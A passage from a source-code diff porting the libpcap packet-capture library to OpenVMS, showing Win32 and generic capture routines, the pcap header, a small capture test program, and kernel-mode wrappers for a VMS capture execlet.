bp = p->Packet->Buffer;
}
else
bp = p->bp;
/*
* Loop through each packet.
*/
#define bhp ((struct bpf_hdr *)bp)
ep = bp + cc;
while (bp < ep) {
register int caplen, hdrlen;
caplen = bhp->bh_caplen;
hdrlen = bhp->bh_hdrlen;
/*
* XXX A bpf_hdr matches a pcap_pkthdr.
*/
(*callback)(user, (struct pcap_pkthdr*)bp, bp + hdrlen);
bp += BPF_WORDALIGN(caplen + hdrlen);
if (++n >= cnt && cnt > 0) {
p->bp = bp;
p->cc = ep - bp;
return (n);
}
}
#undef bhp
p->cc = 0;
return (n);
}
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
register pcap_t *p;
NetType type;
/* Init WinSock */
wsockinit();
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", pcap_strerror(errno));
return (NULL);
}
memset(p, 0, sizeof(*p));
p->adapter=NULL;
p->adapter=PacketOpenAdapter(device);
if (p->adapter==NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "Error opening adapter: %s", pcap_win32strerror());
return NULL;
}
/*get network type*/
if(PacketGetNetType (p->adapter,&type)==FALSE)
{
snprintf(ebuf, PCAP_ERRBUF_SIZE, "Cannot determine the network type: %s", pcap_win32strerror());
goto bad;
}
/*Set the linktype*/
switch (type.LinkType) {
case NdisMediumWan:
p->linktype = DLT_EN10MB;
break;
case NdisMedium802_3:
p->linktype = DLT_EN10MB;
break;
case NdisMediumFddi:
p->linktype = DLT_FDDI;
break;
case NdisMedium802_5:
p->linktype = DLT_IEEE802;
break;
case NdisMediumArcnet878_2:
p->linktype = DLT_ARCNET;
break;
case NdisMediumAtm:
p->linktype = DLT_ATM_RFC1483;
break;
default:
p->linktype = DLT_EN10MB; /*an unknown adapter is assumed to be ethernet*/
}
/* Set promisquous mode */
if (promisc) PacketSetHwFilter(p->adapter,NDIS_PACKET_TYPE_PROMISCUOUS);
else PacketSetHwFilter(p->adapter,NDIS_PACKET_TYPE_ALL_LOCAL);
/* Set the buffer size */
p->bufsize = PcapBufSize;
p->buffer = (u_char *)malloc(PcapBufSize);
if (p->buffer == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", pcap_strerror(errno));
goto bad;
}
p->snapshot = snaplen;
/* allocate Packet structure used during the capture */
if((p->Packet = PacketAllocatePacket())==NULL){
snprintf(ebuf, PCAP_ERRBUF_SIZE, "failed to allocate the PACKET structure");
goto bad;
}
PacketInitPacket(p->Packet,(BYTE*)p->buffer,p->bufsize);
/* allocate the standard buffer in the driver */
if(PacketSetBuff( p->adapter, SIZE_BUF)==FALSE)
{
snprintf(ebuf, PCAP_ERRBUF_SIZE,"driver error: not enough memory to allocate the kernel buffer\n");
goto bad;
}
/* tell the driver to copy the buffer only if it contains at least 16K */
if(PacketSetMinToCopy(p->adapter,16000)==FALSE)
{
snprintf(ebuf, PCAP_ERRBUF_SIZE,"Error calling PacketSetMinToCopy: %s\n", pcap_win32strerror());
goto bad;
}
PacketSetReadTimeout(p->adapter, to_ms);
return (p);
bad:
if (p->adapter)
PacketCloseAdapter(p->adapter);
if (p->buffer != NULL)
free(p->buffer);
free(p);
return (NULL);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if(p->adapter==NULL){
/* Offline capture: make our own copy of the filter */
if (install_bpf_program(p, fp) < 0)
return (-1);
}
else if(PacketSetBpf(p->adapter,fp)==FALSE){
/* kernel filter not installed. */
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Driver error: cannot set bpf filter: %s", pcap_win32strerror());
return (-1);
}
return (0);
}
/* Set the driver working mode */
int
pcap_setmode(pcap_t *p, int mode){
if (p->adapter==NULL)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "impossible to set mode while reading from a file");
return -1;
}
if(PacketSetMode(p->adapter,mode)==FALSE)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: working mode not recognized");
return -1;
}
return 0;
}
/* Send a packet to the network */
int
pcap_sendpacket(pcap_t *p, u_char *buf, int size){
LPPACKET PacketToSend;
if (p->adapter==NULL)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Writing a packet is allowed only on a physical adapter");
return -1;
}
PacketToSend=PacketAllocatePacket();
PacketInitPacket(PacketToSend,buf,size);
if(PacketSendPacket(p->adapter,PacketToSend,TRUE) == FALSE){
PacketFreePacket(PacketToSend);
return -1;
}
PacketFreePacket(PacketToSend);
return 0;
}
/* Set the dimension of the kernel-level capture buffer */
int
pcap_setbuff(pcap_t *p, int dim)
{
if (p->adapter==NULL)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "The kernel buffer size cannot be set while reading from a file");
return -1;
}
if(PacketSetBuff(p->adapter,dim)==FALSE)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: not enough memory to allocate the kernel buffer");
return -1;
}
return 0;
}
/*set the minimum amount of data that will release a read call*/
int
pcap_setmintocopy(pcap_t *p, int size)
{
if (p->adapter==NULL)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Impossible to set the mintocopy parameter on an offline capture");
return -1;
}
if(PacketSetMinToCopy(p->adapter, size)==FALSE)
{
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: unable to set the requested mintocopy size");
return -1;
}
return 0;
}

387
Pcap-VMS/pcap-vci/pcap.c Normal file
View File

@@ -0,0 +1,387 @@
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.41 2002/08/02 03:44:21 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef VMS
#include "pcap-vms.h"
#include "bpf.h"
#endif
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#include <sys/types.h>
#endif /* WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef WIN32
#include <unistd.h>
#endif
#include <fcntl.h>
#include <errno.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "pcap-int.h"
int
pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
if (p->sf.rfile != NULL)
return (pcap_offline_read(p, cnt, callback, user));
#ifdef VMS
p->check_timeout = 1;
#endif
return (pcap_read(p, cnt, callback, user));
}
int
pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
register int n;
for (;;) {
if (p->sf.rfile != NULL)
n = pcap_offline_read(p, cnt, callback, user);
else {
/*
* XXX keep reading until we get something
* (or an error occurs)
*/
do {
n = pcap_read(p, cnt, callback, user);
} while (n == 0);
}
if (n <= 0)
return (n);
if (cnt > 0) {
cnt -= n;
if (cnt <= 0)
return (0);
}
}
}
struct singleton {
struct pcap_pkthdr *hdr;
const u_char *pkt;
};
static void
pcap_oneshot(u_char *userData, const struct pcap_pkthdr *h, const u_char *pkt)
{
struct singleton *sp = (struct singleton *)userData;
*sp->hdr = *h;
sp->pkt = pkt;
}
const u_char *
pcap_next(pcap_t *p, struct pcap_pkthdr *h)
{
struct singleton s;
s.hdr = h;
if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0)
return (0);
return (s.pkt);
}
int
pcap_datalink(pcap_t *p)
{
return (p->linktype);
}
int
pcap_snapshot(pcap_t *p)
{
return (p->snapshot);
}
int
pcap_is_swapped(pcap_t *p)
{
return (p->sf.swapped);
}
int
pcap_major_version(pcap_t *p)
{
return (p->sf.version_major);
}
int
pcap_minor_version(pcap_t *p)
{
return (p->sf.version_minor);
}
FILE *
pcap_file(pcap_t *p)
{
return (p->sf.rfile);
}
int
pcap_fileno(pcap_t *p)
{
#ifndef WIN32
return (p->fd);
#else
if (p->adapter != NULL)
return ((int)(DWORD)p->adapter->hFile);
else
return (-1);
#endif
}
void
pcap_perror(pcap_t *p, char *prefix)
{
fprintf(stderr, "%s: %s\n", prefix, p->errbuf);
}
char *
pcap_geterr(pcap_t *p)
{
return (p->errbuf);
}
/*
* NOTE: in the future, these may need to call platform-dependent routines,
* e.g. on platforms with memory-mapped packet-capture mechanisms where
* "pcap_read()" uses "select()" or "poll()" to wait for packets to arrive.
*/
int
pcap_getnonblock(pcap_t *p, char *errbuf)
{
#ifndef WIN32
int fdflags;
#endif
if (p->sf.rfile != NULL) {
/*
* This is a savefile, not a live capture file, so
* never say it's in non-blocking mode.
*/
return (0);
}
#ifndef WIN32
fdflags = fcntl(p->fd, F_GETFL, 0);
if (fdflags == -1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_GETFL: %s",
pcap_strerror(errno));
return (-1);
}
if (fdflags & O_NONBLOCK)
return (1);
else
return (0);
#else
return (p->nonblock);
#endif
}
int
pcap_setnonblock(pcap_t *p, int nonblock, char *errbuf)
{
#ifndef WIN32
int fdflags;
#else
int newtimeout;
#endif
if (p->sf.rfile != NULL) {
/*
* This is a savefile, not a live capture file, so
* ignore requests to put it in non-blocking mode.
*/
return (0);
}
#ifndef WIN32
fdflags = fcntl(p->fd, F_GETFL, 0);
if (fdflags == -1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_GETFL: %s",
pcap_strerror(errno));
return (-1);
}
if (nonblock)
fdflags |= O_NONBLOCK;
else
fdflags &= ~O_NONBLOCK;
if (fcntl(p->fd, F_SETFL, fdflags) == -1) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_SETFL: %s",
pcap_strerror(errno));
return (-1);
}
#else
if (nonblock) {
/*
* Set the read timeout to -1 for non-blocking mode.
*/
newtimeout = -1;
} else {
/*
* Restore the timeout set when the device was opened.
* (Note that this may be -1, in which case we're not
* really leaving non-blocking mode.)
*/
newtimeout = p->timeout;
}
if (!PacketSetReadTimeout(p->adapter, newtimeout)) {
snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"PacketSetReadTimeout: %s", pcap_win32strerror());
return (-1);
}
p->nonblock = (newtimeout == -1);
#endif
return (0);
}
#ifdef WIN32
/*
* Generate a string for the last Win32-specific error (i.e. an error generated when
* calling a Win32 API).
* For errors occurred during standard C calls, we still use pcap_strerror()
*/
char *
pcap_win32strerror(void)
{
DWORD error;
static char errbuf[PCAP_ERRBUF_SIZE+1];
int errlen;
error = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, errbuf,
PCAP_ERRBUF_SIZE, NULL);
/*
* "FormatMessage()" "helpfully" sticks CR/LF at the end of the
* message. Get rid of it.
*/
errlen = strlen(errbuf);
if (errlen >= 2) {
errbuf[errlen - 1] = '\0';
errbuf[errlen - 2] = '\0';
}
return (errbuf);
}
#endif
/*
* Not all systems have strerror().
*/
char *
pcap_strerror(int errnum)
{
#ifdef HAVE_STRERROR
return (strerror(errnum));
#else
extern int sys_nerr;
extern const char *const sys_errlist[];
static char ebuf[20];
if ((unsigned int)errnum < sys_nerr)
return ((char *)sys_errlist[errnum]);
(void)snprintf(ebuf, sizeof ebuf, "Unknown error: %d", errnum);
return(ebuf);
#endif
}
pcap_t *
pcap_open_dead(int linktype, int snaplen)
{
pcap_t *p;
p = malloc(sizeof(*p));
if (p == NULL)
return NULL;
memset (p, 0, sizeof(*p));
#ifndef WIN32
p->fd = -1;
#else
p->adapter = NULL;
#endif /* WIN32 */
p->snapshot = snaplen;
p->linktype = linktype;
return p;
}
void
pcap_close(pcap_t *p)
{
/*XXX*/
#ifdef VMS
pcap_close_vms(p);
#endif
#ifndef WIN32
if (p->fd >= 0) {
#ifdef linux
pcap_close_linux(p);
#endif
#ifndef VMS
close(p->fd);
#endif
}
#else /* WIN32 */
if (p->adapter != NULL) {
PacketCloseAdapter(p->adapter);
p->adapter = NULL;
}
#endif /* WIN32 */
if (p->sf.rfile != NULL) {
if (p->sf.rfile != stdin)
(void)fclose(p->sf.rfile);
if (p->sf.base != NULL)
free(p->sf.base);
} else if (p->buffer != NULL)
free(p->buffer);
pcap_freecode(&p->fcode);
free(p);
}

245
Pcap-VMS/pcap-vci/pcap.h Normal file
View File

@@ -0,0 +1,245 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap.h,v 1.37 2002/08/02 03:44:21 guy Exp $ (LBL)
*/
#ifndef lib_pcap_h
#define lib_pcap_h
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#include <sys/types.h>
#include <sys/time.h>
#endif /* WIN32 */
#ifdef VMS
#include "bpf.h"
#else
#include <net/bpf.h>
#endif
#include <stdio.h>
#ifdef __cplusplus
extern "C" {
#endif
#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4
#define PCAP_ERRBUF_SIZE 256
/*
* Compatibility for systems that have a bpf.h that
* predates the bpf typedefs for 64-bit support.
*/
#if BPF_RELEASE - 0 < 199406
typedef int bpf_int32;
typedef u_int bpf_u_int32;
#endif
typedef struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;
typedef struct pcap_if pcap_if_t;
typedef struct pcap_addr pcap_addr_t;
/*
* The first record in the file contains saved values for some
* of the flags used in the printout phases of tcpdump.
* Many fields here are 32 bit ints so compilers won't insert unwanted
* padding; these files need to be interchangeable across architectures.
*
* Do not change the layout of this structure, in any way (this includes
* changes that only affect the length of fields in this structure).
*
* Also, do not change the interpretation of any of the members of this
* structure, in any way (this includes using values other than
* LINKTYPE_ values, as defined in "savefile.c", in the "linktype"
* field).
*
* Instead:
*
* introduce a new structure for the new format, if the layout
* of the structure changed;
*
* send mail to "tcpdump-workers@tcpdump.org", requesting a new
* magic number for your new capture file format, and, when
* you get the new magic number, put it in "savefile.c";
*
* use that magic number for save files with the changed file
* header;
*
* make the code in "savefile.c" capable of reading files with
* the old file header as well as files with the new file header
* (using the magic number to determine the header format).
*
* Then supply the changes to "patches@tcpdump.org", so that future
* versions of libpcap and programs that use it (such as tcpdump) will
* be able to read your new capture file format.
*/
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};
/*
* Each packet in the dump file is prepended with this generic header.
* This gets around the problem of different headers for different
* packet interfaces.
*/
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
/*
* As returned by the pcap_stats()
*/
struct pcap_stat {
u_int ps_recv; /* number of packets received */
u_int ps_drop; /* number of packets dropped */
u_int ps_ifdrop; /* drops by interface XXX not yet supported */
#ifdef WIN32
u_int bs_capt; /* number of packets that reach the application */
#endif /* WIN32 */
};
/*
* Item in a list of interfaces.
*/
struct pcap_if {
struct pcap_if *next;
char *name; /* name to hand to "pcap_open_live()" */
char *description; /* textual description of interface, or NULL */
struct pcap_addr *addresses;
bpf_u_int32 flags; /* PCAP_IF_ interface flags */
};
#define PCAP_IF_LOOPBACK 0x00000001 /* interface is loopback */
/*
* Representation of an interface address.
*/
struct pcap_addr {
struct pcap_addr *next;
struct sockaddr *addr; /* address */
struct sockaddr *netmask; /* netmask for that address */
struct sockaddr *broadaddr; /* broadcast address for that address */
struct sockaddr *dstaddr; /* P2P destination address for that address */
};
typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
const u_char *);
char *pcap_lookupdev(char *);
int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t *pcap_open_live(char *, int, int, int, char *);
pcap_t *pcap_open_dead(int, int);
pcap_t *pcap_open_offline(const char *, char *);
void pcap_close(pcap_t *);
int pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
pcap_next(pcap_t *, struct pcap_pkthdr *);
int pcap_stats(pcap_t *, struct pcap_stat *);
int pcap_setfilter(pcap_t *, struct bpf_program *);
int pcap_getnonblock(pcap_t *, char *);
int pcap_setnonblock(pcap_t *, int, char *);
void pcap_perror(pcap_t *, char *);
char *pcap_strerror(int);
char *pcap_geterr(pcap_t *);
int pcap_compile(pcap_t *, struct bpf_program *, char *, int,
bpf_u_int32);
int pcap_compile_nopcap(int, int, struct bpf_program *,
char *, int, bpf_u_int32);
void pcap_freecode(struct bpf_program *);
int pcap_datalink(pcap_t *);
int pcap_snapshot(pcap_t *);
int pcap_is_swapped(pcap_t *);
int pcap_major_version(pcap_t *);
int pcap_minor_version(pcap_t *);
/* XXX */
FILE *pcap_file(pcap_t *);
int pcap_fileno(pcap_t *);
pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void pcap_dump_close(pcap_dumper_t *);
void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
int pcap_findalldevs(pcap_if_t **, char *);
void pcap_freealldevs(pcap_if_t *);
/* XXX this guy lives in the bpf tree */
u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
int bpf_validate(struct bpf_insn *f, int len);
char *bpf_image(struct bpf_insn *, int);
void bpf_dump(struct bpf_program *, int);
#ifdef VMS
int pcap_sendpacket(pcap_t *p, u_char *buf, int size);
#endif
#ifdef WIN32
/*
* Win32 definitions
*/
int pcap_setbuff(pcap_t *p, int dim);
int pcap_setmode(pcap_t *p, int mode);
int pcap_sendpacket(pcap_t *p, u_char *buf, int size);
int pcap_setmintocopy(pcap_t *p, int size);
#ifdef WPCAP
/* Include file with the wpcap-specific extensions */
#include <Win32-Extensions.h>
#endif
#define MODE_CAPT 0
#define MODE_STAT 1
#endif /* WIN32 */
#ifdef __cplusplus
}
#endif
#endif

View File

@@ -0,0 +1,72 @@
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "pcap.h"
#include "pcap-int.h"
static int fd;
void dump_packet(int fd, int len, unsigned char *data)
{
int idx;
char buf[128];
char packhead[256];
char nl[] = "\n";
sprintf(packhead, "\nPacket length %d", len);
write (fd, packhead,strlen(packhead));
for (idx=0; idx<len; idx++) {
if (!(idx % 40)) {
write(fd, nl, 1);
}
sprintf (buf, "%02x", data[idx]);
write (fd, buf, strlen(buf));
}
}
void read_callback(char *info, struct pcap_pkthdr *hdr, unsigned char *data)
{
int me;
unsigned char meaddr[6] = {0xaa,0x00,0x04,0x00,0x37,0x4c};
packet *pkt;
pkt = (packet *) data;
me = memcmp(data, meaddr, 6);
if (me == 0) {
dump_packet(fd, hdr->len, data);
printf("Received packet, len: %d\n", hdr->len);
printf("From %02x-%02x-%02x-%02x-%02x-%02x\n", data[0],data[1],
data[2],data[3],data[4],data[5]);
printf("To %02x-%02x-%02x-%02x-%02x-%02x\n",data[6],data[7],
data[8],data[9],data[10],data[11]);
}
}
int main(void)
{
int status;
pcap_t *pcap_handle;
struct pcap_pkthdr hdr;
char *packet;
char ebuff[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
bpf_u_int32 maskp;
bpf_u_int32 netp;
int bufsiz = 2048;
char *dev;
dev = pcap_lookupdev(ebuff);
pcap_handle = pcap_open_live(dev, 2048, 1, 5000, ebuff);
fd = open ("packet.dmp", O_RDWR|O_CREAT);
status = pcap_lookupnet(dev, &netp, &maskp, ebuff);
status = pcap_compile(pcap_handle, &fp, "port 23",0,
netp);
// status = pcap_setfilter(pcap_handle, &fp);
status = pcap_loop(pcap_handle, 2000, &read_callback, 0);
close(fd);
return 1;
}

479
Pcap-VMS/pcap-vci/pcapvci.c Normal file
View File

@@ -0,0 +1,479 @@
#pragma module PCAPVCI "X-1"
/*
**++
** FACILITY: PCAP
**
** MODULE DESCRIPTION:
**
** Interface routines to the PCAP VCM execlet.
**
** AUTHORS:
**
** Ankan
**
** CREATION DATE: 30-Mar-2003
**
** DESIGN ISSUES:
**
** Important Note:
**
** This code module uses privileged OpenVMS interfaces.
** OpenVMS does not guarantee that these interfaces will
** be supported indefinitely, and may change these interfaces
** without prior notice.
**
**
** MODIFICATION HISTORY:
**
** X-1 Ankan 25-Oct-2003
** Lock/unlock data prior to passing it to execlet.
** Return proper status from enable/disable port.
**--
*/
#include <descrip.h>
#include <starlet.h>
#include <ssdef.h>
#include <stsdef.h>
#include <ldrdef.h>
#include <ldrimgdef.h>
#include <pdscdef.h>
#include <nmadef.h>
#include <string.h>
#include "pcapvci.h"
typedef struct lkpdef LKP;
//
// Loader routines, used to dynamically load or locate the execlet.
//
extern int LDR$LOAD_IMAGE (struct dsc$descriptor_s *execlet_name, int flags,
LDRHANDLE *reference_handle);
extern int LDR$REF_INFO (struct dsc$descriptor_s *execlet_name,
LDRHANDLE *reference_handle);
extern int LDR$UNLOAD_IMAGE (struct dsc$descriptor_s *execlet_name,
LDRHANDLE *reference_handle);
int load_execlet();
int unload_execlet();
//
// Global data
//
static PCAPVCM *pcapvcm = 0;
LDRHANDLE reference_handle;
void *rtnptr = 0;
$DESCRIPTOR(execlet_name, "PCAPVCM");
int is_loaded = 0;
//
// Return packet portion of VCRP
//
int get_packet(VCRPLANDEF *vcrp, char **hdrp)
{
VCRPDEF *vcrpbase;
uint64 boff;
int len;
vcrpbase = (VCRPDEF *) vcrp;
boff = vcrpbase->vcrp$l_boff;
len = vcrpbase->vcrp$l_bcnt;
*hdrp = (char *) (((char *) vcrp) + boff);
return len;
}
//
// Load or locate the execelet
//
int pcapvci_load_execlet()
{
int status;
int arglist[2];
arglist[0] = 0;
status = sys$cmkrnl(load_execlet,arglist);
return status;
}
//
// Allocate a VCI port
//
int pcapvci_alloc_port(VCMCTX **ctx)
{
int status;
int status2;
uint64 arglist[2];
int64 retlen;
void *retaddr;
status = sys$lckpag_64(ctx, 1, 3, &retaddr, &retlen);
arglist[0] = 1;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist);
status2 = sys$ulkpag_64(retaddr, retlen, 3, &retaddr, &retlen);
return status;
}
//
// Free a port
//
int pcapvci_free_port(VCMCTX *ctx)
{
int status;
uint64 arglist[2];
arglist[0] = 1;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->free_port, arglist);
return status;
}
//
// Get VCI devices
//
int pcapvci_get_device(VCMCTX *ctx, char *device)
{
int status;
int status2;
uint64 arglist[3];
int64 retlen;
void *retaddr;
status = sys$lckpag_64(device, 1, 0, &retaddr, &retlen);
arglist[0] = 2;
arglist[1] = (uint64) ctx;
arglist[2] = (uint64) device;
status = sys$cmkrnl_64(pcapvcm->get_device, arglist);
status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen);
return status;
}
//
// Create a VCI port
//
int pcapvci_create_port(VCMCTX *ctx, char *device)
{
int status;
int status2;
uint64 arglist[3];
int64 retlen;
void *retaddr;
status = sys$lckpag_64(device, 1, 0, &retaddr, &retlen);
arglist[0] = 2;
arglist[1] = (uint64) ctx;
arglist[2] = (uint64) device;
status = sys$cmkrnl_64(pcapvcm->create_port, arglist);
status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen);
return status;
}
//
// Delete a port
//
int pcapvci_delete_port(VCMCTX *ctx)
{
int status;
uint64 arglist[2];
arglist[0] = 1;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->delete_port, arglist);
return status;
}
//
// Get port management error
//
int pcapvci_get_mgm_error(VCMCTX *ctx, uint64 *error)
{
int status;
int status2;
uint64 arglist[3];
int64 retlen;
void *retaddr;
status = sys$lckpag_64(error, 1, 0, &retaddr, &retlen);
arglist[0] = 2;
arglist[1] = (uint64) ctx;
arglist[2] = (uint64) error;
status = sys$cmkrnl_64(pcapvcm->get_mgm_error, arglist);
status2 = sys$ulkpag_64(retaddr, retlen, 0, &retaddr, &retlen);
return status;
}
//
// Enable a port, this requires a P2 buffer as described in
// the I/O User's Reference Manual.
//
int pcapvci_enable_port(VCMCTX *ctx, int p2len, char *p2buf)
{
int status;
int status2;
uint64 arglist[4];
int64 retlen;
void *retaddr;
uint64 vcierr;
// Lock P2 buffer
status = sys$lkwset_64(p2buf, p2len, 0, &retaddr, &retlen);
if (!$VMS_STATUS_SUCCESS(status)) {
return 0;
}
arglist[0] = 3;
arglist[1] = (uint64) ctx;
arglist[2] = p2len;
arglist[3] = (uint64) p2buf;
status = sys$cmkrnl_64(pcapvcm->enable_port, arglist);
status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen);
status = pcapvci_get_mgm_error(ctx, &vcierr);
return status;
}
//
// Disable a port
//
int pcapvci_disable_port(VCMCTX *ctx)
{
int status;
uint64 arglist[2];
uint64 vcierr;
arglist[0] = 1;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->disable_port, arglist);
status = pcapvci_get_mgm_error(ctx, &vcierr);
return status;
}
//
// Read a packet, notice we only return the packet, not the entire VCRP
//
int pcapvci_read_packet(VCMCTX *ctx, int packlen, char *packet)
{
int status;
int status2;
uint64 arglist[4];
char vcrp[4096];
int len;
char *ptr;
int64 retlen;
void *retaddr;
// Lock return buffer
status = sys$lkwset_64(vcrp, sizeof(vcrp), 0, &retaddr, &retlen);
if (!$VMS_STATUS_SUCCESS(status)) {
return 0;
}
arglist[0] = 3;
arglist[1] = (uint64) ctx;
arglist[2] = 4096;
arglist[3] = (uint64) vcrp;
status = sys$cmkrnl_64(pcapvcm->read_packet, arglist);
// Unlock return buffer
status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen);
if (!$VMS_STATUS_SUCCESS(status)) {
return 0;
}
//
// Locate packet in VCRP
//
len = get_packet((VCRPLANDEF *)vcrp, &ptr);
//
// Copy packet in users buffer, check if we need to truncate.
//
if (len > packlen) {
memcpy(packet, ptr, packlen);
} else {
memcpy(packet, ptr, len);
}
return len;
}
//
// Send a packet. Lock packet prior to sending
//
int pcapvci_send_packet(VCMCTX *ctx, int hdrlen, int totlen, char *packet)
{
int status;
int status2;
uint64 arglist[5];
int64 retlen;
void *retaddr;
// Lock packet
status = sys$lkwset_64(packet, totlen, 0, &retaddr, &retlen);
if (!$VMS_STATUS_SUCCESS(status)) {
return status;
}
arglist[0] = 4;
arglist[1] = (uint64) ctx;
arglist[2] = hdrlen;
